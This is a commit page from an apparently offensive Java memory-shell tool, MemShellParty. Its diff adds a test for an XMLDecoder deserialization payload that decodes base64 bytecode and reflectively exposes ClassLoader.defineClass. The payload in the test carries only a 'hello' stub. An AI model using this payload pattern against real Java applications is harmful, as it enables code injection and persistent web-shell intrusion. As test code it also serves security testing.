archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-22 23:11:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: support XMLDecoderDefineClass packer

Browse Source
This commit is contained in:
ReaJason
2025-08-13 23:53:40 +08:00
parent 6361e4d50b
commit 8bff3b24c7
13 changed files with 207 additions and 29 deletions
Download Patch File Download Diff File Expand all files Collapse all files
vul/vul-webapp-deserialize/src/test/java/XmlDecoderServletTest.java
+18 -2
View File
@@ -2,7 +2,6 @@ import org.junit.jupiter.api.Test;
import java.beans.XMLDecoder;
import java.io.ByteArrayInputStream;
import java.util.Base64;
/**
* @author ReaJason
@@ -32,8 +31,25 @@ class XmlDecoderServletTest {
" </void>\n" +
" </object>\n" +
"</java>";
String xml2 = "<java>\n" +
" <object class=\"javax.xml.bind.DatatypeConverter\" method=\"parseBase64Binary\" id=\"byteCode\">\n" +
" <string>aGVsbG8K></string>\n" +
" </object>\n" +
" <class id=\"classLoaderClazz\">java.lang.ClassLoader</class>\n" +
" <void idref=\"classLoaderClazz\">\n" +
" <void method=\"getDeclaredMethod\" id=\"defineClass\">\n" +
" <string>defineClass</string>\n" +
" <array class=\"java.lang.Class\" length=\"3\">\n" +
" <void index=\"0\"><class>[B</class></void>\n" +
" <void index=\"1\"><class>int</class></void>\n" +
" <void index=\"2\"><class>int</class></void>\n" +
" </array>\n" +
" <void method=\"setAccessible\"><boolean>true</boolean></void>\n" +
" </void>\n" +
" </void>\n" +
"</java>";
try {
ByteArrayInputStream inputStream = new ByteArrayInputStream(xml1.getBytes());
ByteArrayInputStream inputStream = new ByteArrayInputStream(xml2.getBytes());
XMLDecoder xmlDecoder = new XMLDecoder(inputStream);
xmlDecoder.readObject();
xmlDecoder.close();